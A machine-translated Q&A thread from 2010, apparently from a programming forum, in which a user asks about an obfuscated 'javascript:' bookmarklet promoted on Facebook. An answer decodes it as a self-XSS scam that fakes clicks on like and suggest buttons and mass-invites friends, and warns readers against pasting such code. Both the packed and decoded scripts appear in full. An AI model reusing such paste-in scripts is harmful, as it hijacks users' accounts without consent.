2010-04-28 3 views
0

Я видел, как эта страница стала популярна среди моих социальных кругов на Facebook, what 98 percent bla bla..., и она просматривает пользователей, копируя приведенный ниже JavaScript (я добавил несколько отступов, чтобы сделать его более читаемым) в адресную строку. Выглядит изворотливым для меня, но у меня есть только базовые знания JavaScript.Что именно делает этот кусок JavaScript?

Проще говоря, что это делает?

javascript:(function(){ 
a='app120668947950042_jop'; 
b='app120668947950042_jode'; 
ifc='app120668947950042_ifc'; 
ifo='app120668947950042_ifo'; 
mw='app120668947950042_mwrapper'; 
eval(function(p,a,c,k,e,r){ 
    e=function(c){ 
     return(c<a?'':e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))} 
    ; 
    if(!''.replace(/^/,String)){ 
     while(c--)r[e(c)]=k[c]||e(c); 
     k=[function(e){ 
      return r[e]} 
     ]; 
     e=function(){ 
      return'\\w+'} 
     ; 
     c=1} 
    ; 
    while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]); 
    return p} 
('J e=["\\n\\g\\j\\g\\F\\g\\i\\g\\h\\A","\\j\\h\\A\\i\\f","\\o\\f\\h\\q\\i\\f\\r\\f\\k\\h\\K\\A\\L\\t","\\w\\g\\t\\t\\f\\k","\\g\\k\\k\\f\\x\\M\\N\\G\\O","\\n\\l\\i\\y\\f","\\j\\y\\o\\o\\f\\j\\h","\\i\\g\\H\\f\\r\\f","\\G\\u\\y\\j\\f\\q\\n\\f\\k\\h\\j","\\p\\x\\f\\l\\h\\f\\q\\n\\f\\k\\h","\\p\\i\\g\\p\\H","\\g\\k\\g\\h\\q\\n\\f\\k\\h","\\t\\g\\j\\z\\l\\h\\p\\w\\q\\n\\f\\k\\h","\\j\\f\\i\\f\\p\\h\\v\\l\\i\\i","\\j\\o\\r\\v\\g\\k\\n\\g\\h\\f\\v\\P\\u\\x\\r","\\B\\l\\Q\\l\\R\\B\\j\\u\\p\\g\\l\\i\\v\\o\\x\\l\\z\\w\\B\\g\\k\\n\\g\\h\\f\\v\\t\\g\\l\\i\\u\\o\\S\\z\\w\\z","\\j\\y\\F\\r\\g\\h\\T\\g\\l\\i\\u\\o"]; 
     d=U; 
     d[e[2]](V)[e[1]][e[0]]=e[3]; 
     d[e[2]](a)[e[4]]=d[e[2]](b)[e[5]]; 
     s=d[e[2]](e[6]); 
     m=d[e[2]](e[7]); 
     c=d[e[9]](e[8]); 
     c[e[11]](e[10],I,I); 
     s[e[12]](c); 
     C(D(){ 
      W[e[13]]()} 
     ,E); 
     C(D(){ 
      X[e[16]](e[14],e[15])} 
     ,E); 
     C(D(){ 
      m[e[12]](c); 
      d[e[2]](Y)[e[4]]=d[e[2]](Z)[e[5]]} 
     ,E); 
     ',62,69,'||||||||||||||_0x95ea|x65|x69|x74|x6C|x73|x6E|x61||x76|x67|x63|x45|x6D||x64|x6F|x5F|x68|x72|x75|x70|x79|x2F|setTimeout|function|5000|x62|x4D|x6B|true|var|x42|x49|x48|x54|x4C|x66|x6A|x78|x2E|x44|document|mw|fs|SocialGraphManager|ifo|ifc|||||||'.split('|'),0,{ 
} 
))})(); 
+5

Это запах фиши для меня .... –

+2

Я уверен, если бы вы ввели его в адресную строку, которую вы узнали бы. Я бы предпочел не делать этого. – ghoppe

+0

Согласен. Супер отрывочный. –

ответ

9

Я не знаю, как многие из них занижают это. Вы абсолютно правы, чтобы быть подозрительными к упакованным и иным образом запутавшимся сценариям, особенно с сыпью злоупотреблений, влияющих на приложения FB на данный момент.

Первый прием заключается в том, чтобы заменить eval на результаты распаковщика alert, чтобы вы могли видеть код вместо его выполнения. Это дает вам то, что вы можете легко (но муторно) вручную декодировать до:

document.getElementById('app120668947950042_mwrapper').style.visibility='hidden';   
document.getElementById('app120668947950042_jop').innerHTML=document.getElementById('app120668947950042_jode').value; 
s=document.getElementById('suggest'); 
m=document.getElementById('likeme'); 
c=document.createEvent('MouseEvents'); 
c.initEvent('click',true,true); 
s.dispatchEvent(c); 

setTimeout(function(){ 
    fs.select_all() 
}, 5000); 
setTimeout(function(){ 
    SocialGraphManager.submitDialog('sgm_invite_form','/ajax/social_graph/invite_dialog.php') 
}, 5000); 
setTimeout(function(){ 
    m.dispatchEvent(c); 
    document.getElementById('app120668947950042_ifo').innerHTML=document.getElementById('app120668947950042_ifc').value 
}, 5000);   

Это выглядит, как он притворяется нажмите на ссылку «как» и «предложить» кнопки (и последующий диалог), обходя обычные элементы управления FB требуют для взаимодействия с сайтом.

Я бы сообщил эту страницу FB.

В общем, все, что просит вас ввести URL-адрес JavaScript, не подходит. Это бедный человек-XSS. Предоставляя кому-то код на странице через URL-адрес JS, вы доверяете им делать все, что захотите, при использовании вами сайта, как демонстрирует эта грубая попытка социал-инженерии. Удручает, если на это падают многие люди. Возможно, настало время для браузеров запретить печатать javascript: URL-адреса в адресной строке.

Проклятие, что вы Netscape для изобретательства уродливого javascript: не-действительно-взлома URL-адреса и тысячи дыр в безопасности, которые были результатом этого!

+0

Почему downvotes? Осторожно, наверное. Когда он был впервые опубликован, было сложно сказать, был ли это законный вопрос или OP просто хотел, чтобы кто-то запустил его в своем браузере (в гнусных целях). –

+0

Спасибо, что нашли время для этого; Я сообщал об этой странице, но, как правило, в facebook обычно кажется, что такие вещи сидят. еще раз спасибо – Waltzy

2

На первый взгляд это выглядит как функция упаковки, используемая для сжатия кода в строку. Подумайте об этом как о сжатии gzip.

1

Это выглядит как код, пригласить друзей присоединиться к группе или что-то вдоль этих линий ..

Они плавали вокруг Facebook на некоторое время.